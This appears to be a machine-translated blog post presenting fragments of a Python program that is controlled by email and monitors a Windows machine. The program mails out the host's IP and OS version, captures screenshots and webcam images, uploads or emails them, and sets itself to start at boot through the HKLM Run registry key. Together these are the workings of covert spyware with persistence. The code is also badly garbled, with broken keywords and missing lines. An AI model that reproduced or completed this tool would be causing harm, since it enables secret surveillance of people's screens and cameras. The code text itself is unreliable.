Example of using python to remotely monitor camera screenshots

Recently, I wrote a remote monitoring program in python. The main functions are as follows:
1. Use email to control the functions
2. You can send the screen to your mailbox
3. You can use a camera to obtain images. These images are uploaded to qiniu.
4. Auto Start

Copy codeThe Code is as follows :#

Smtp. connect ('smtp .sina.com ')

Smtp. sendmail ('sender @ sina.com ', 'reveicer @ qq.com', ip + ''+ system_version) # change the email address to another one.

# Send an image to your mailbox

MsgRoot ['subobject'] = pic_time

MsgText = MIMEText ('<B> capture </B> <br> ', 'html ', 'utf-8 ')
MsgRoot. attach (msgText)

# Fp = open ('f: \ 1.jpg ', 'rb ')

Print 'send success'

# The camera captures a video every SLEEP_TIME.
Def camera_capture ():
# Capture frequency
SLEEP_TIME = 3

While I <10:

# Obtain the number of emails

# Obtain the latest email
(Heard, msg, octets) = pop. retr (num)
Mail = email. message_from_string ("\ n". join (msg ))
Subject = email. Header. decode_header (mail ['subobject']) [0] [0] # title
Pop. quit ()
Return subject

# Obtain the program path
Def getPath ():
Path = OS. getcwd () + '\ Remote.exe'. The latest exeprogram name is Remote.exe, or change it here.
Print path
Return path
# Add auto-start upon startup and register in the registry
Def add_start (path ):
Subkey = 'Software \ Microsoft \ Windows \ CurrentVersion \ run'
Key = win32api. RegOpenKey (win32con. HKEY_LOCAL_MACHINE, subkey, 0, win32con. KEY_ALL_ACCESS)
# Print win32api. RegQueryValueEx (key, 'python ')

Win32api. RegSetValueEx (key, 'python', 0, win32con. REG_SZ, path)
Print win32api. RegQueryValueEx (key, 'python ')
If _ name __= = '_ main __':
Add_start (getPath () # Add auto-start upon startup
Send_Information (getIP (), getSystemVersion ())
While 1: # continuous listening
If accept_mail () = 'screen': # capture screen information when the obtained Email Subject is screen.
Screen_capture ()
Elif accept_mail () = 'camera ':
Camera_capture ()

Note:
1. My sending mailbox is sina and the receiving mailbox is QQ. This is because I can bind a QQ mailbox.
2. The accept_mail () Listener's mailbox is my own receiving mailbox, which is my QQ mailbox
3. when the screen is listened to, the screen starts and is sent to the mailbox. Because the latest email is listened to, when the image is sent with the mailbox, the obtained Email Subject is not screen and should be stopped, at last, only one screenshot is taken and the listener continues. However, due to network issues, the sent emails may be delayed. Therefore, there may be a lot of captured images.
4. when I listen to camera, the camera will be used. If I change while I <10 to I = 1, it will keep the camera and invalidate other commands, So I <10, 10 commands are obtained each time.
